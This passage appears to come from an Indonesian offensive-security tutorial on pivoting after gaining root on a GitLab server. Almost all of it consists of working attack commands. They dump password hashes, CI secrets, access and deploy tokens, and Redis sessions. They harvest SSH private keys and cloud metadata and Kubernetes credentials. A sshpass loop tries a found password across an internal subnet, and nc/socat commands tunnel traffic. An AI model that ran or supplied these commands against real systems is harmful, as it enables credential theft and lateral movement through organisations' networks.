1# Dari server GitLab langsung
2psql -h 10.0.0.5 -U gitlab -d gitlabhq_production
3
4# Atau via tunnel dari attacker
5psql -h localhost -p 5432 -U gitlab -d gitlabhq_production
6
7# Query penting:
8# Semua user + password hash
9SELECT username, encrypted_password, admin FROM users;
10
11# CI/CD variables (mungkin ada creds untuk server lain)
12SELECT project_id, key, value FROM ci_variables;
13
14# Personal access tokens (bisa dipakai tanpa password)
15SELECT user_id, name, token_digest FROM personal_access_tokens WHERE revoked = false;
16
17# Deploy tokens
18SELECT project_id, name, token FROM deploy_tokens;
19
20# Web hooks (mungkin ada URL internal)
21SELECT url, token FROM web_hooks;Redis
1# Redis biasanya tanpa auth di internal
2redis-cli -h 10.0.0.6
3
4# Dump semua keys
5KEYS *
6
7# Session tokens
8KEYS session:*
9GET session:gitlab:<session_id>
10
11# Sidekiq jobs (mungkin ada credentials di job args)
12KEYS queue:*
13LRANGE queue:default 0 -13.6 Pivot ke Server Lain via SSH
Dengan SSH keys yang ditemukan (dari CI vars, deploy keys, atau file di server):
1# Cari SSH keys di server GitLab
2find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
3cat /home/*/.ssh/id_rsa 2>/dev/null
4cat /root/.ssh/id_rsa 2>/dev/null
5cat /var/opt/gitlab/.ssh/id_rsa 2>/dev/null
6
7# Cek known_hosts — server mana saja yang pernah di-SSH
8cat /home/*/.ssh/known_hosts 2>/dev/null
9cat /root/.ssh/known_hosts 2>/dev/null
10cat /var/opt/gitlab/.ssh/known_hosts 2>/dev/null
11
12# SSH ke server lain dengan key yang ditemukan
13ssh -i /path/to/key [email protected]
14ssh -i /path/to/key [email protected]3.7 Pivot ke Cloud Infrastructure
Jika GitLab di cloud, dari server ini kamu bisa akses cloud API:
1# AWS — cek IAM role
2curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
3# Gunakan credentials untuk:
4aws ec2 describe-instances # list semua server
5aws s3 ls # list S3 buckets
6aws ssm start-session --target i-xxx # shell ke EC2 lain
7aws secretsmanager list-secrets # cloud secrets
8
9# GCP
10curl -sH "Metadata-Flavor: Google" \
11 http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
12# Gunakan token:
13gcloud compute instances list
14gcloud compute ssh instance-name
15
16# Kubernetes (jika GitLab di K8s)
17# Service account token biasanya auto-mounted:
18cat /var/run/secrets/kubernetes.io/serviceaccount/token
19# Gunakan:
20kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
21 --server=https://kubernetes.default.svc \
22 --insecure-skip-tls-verify \
23 get pods --all-namespaces3.8 Lateral Movement via Credentials Reuse
Password & credentials yang ditemukan di GitLab sering dipakai ulang:
1# Password dari database.yml, gitlab.rb, CI variables
2# Coba ke semua server yang ditemukan:
3
4# SSH
5for host in 10.0.0.{1..30}; do
6 sshpass -p 'DbP@ssword123' ssh -o StrictHostKeyChecking=no admin@$host id 2>/dev/null && echo "$host SUCCESS"
7done
8
9# MySQL
10mysql -h 10.0.0.5 -u root -p'DbP@ssword123'
11
12# PostgreSQL
13PGPASSWORD='DbP@ssword123' psql -h 10.0.0.5 -U postgres
14
15# Redis
16redis-cli -h 10.0.0.6 -a 'RedisPassword'
17
18# Web admin panels
19curl -s http://10.0.0.10:8080/login -d 'user=admin&pass=DbP@ssword123'3.9 Pivot Tools
Ringkasan tools untuk pivoting:
| Tool | Fungsi | Download Size |
|---|---|---|
| chisel | SOCKS proxy via HTTP tunnel | ~8 MB |
| ligolo-ng | Full network tunnel | ~6 MB |
| socat | Port forwarding | ~400 KB |
| plink | SSH tunnel (jika target Windows) | ~600 KB |
| nmap (static) | Port scanning | ~6 MB |
| proxychains | Route tools melalui SOCKS | - (install di attacker) |
Jika tidak bisa upload tools sama sekali:
1# Pure bash port forward
2# Forward local port 8888 ke internal 10.0.0.5:5432
3mkfifo /tmp/f
4cat /tmp/f | nc 10.0.0.5 5432 | nc -l 8888 > /tmp/f
5
6# Pure bash SOCKS (sangat terbatas tapi works)
7# Atau pakai socat jika ada:
8socat TCP-LISTEN:8888,fork TCP:10.0.0.5:54323.10 Ringkasan Flow Pivoting
Root di GitLab Server
│
├─ 1. Network Recon
│ ├─ ip addr / ip route / ss -tupn
│ ├─ cat /etc/hosts, resolv.conf
│ └─ Extract hosts dari gitlab.rb, database.yml
│
├─ 2. Internal Port Scan
│ └─ bash /dev/tcp scan atau upload nmap
│
├─ 3. Setup Tunnel
│ ├─ SSH -D (SOCKS) jika punya SSH
│ └─ Chisel / Ligolo jika hanya reverse shell
│
├─ 4. Database Pivot
│ ├─ PostgreSQL → dump users, CI vars, tokens
│ └─ Redis → sessions, job data
│
├─ 5. SSH Pivot
│ ├─ Cari SSH keys di filesystem
│ ├─ Cek known_hosts → target list
│ └─ SSH ke server lain
│
├─ 6. Cloud Pivot (jika cloud)
│ ├─ Metadata → IAM credentials
│ └─ Cloud CLI → enumerate & access
│
└─ 7. Credential Reuse
└─ Coba password yang ditemukan ke semua serviceBab 4 — (Coming soon)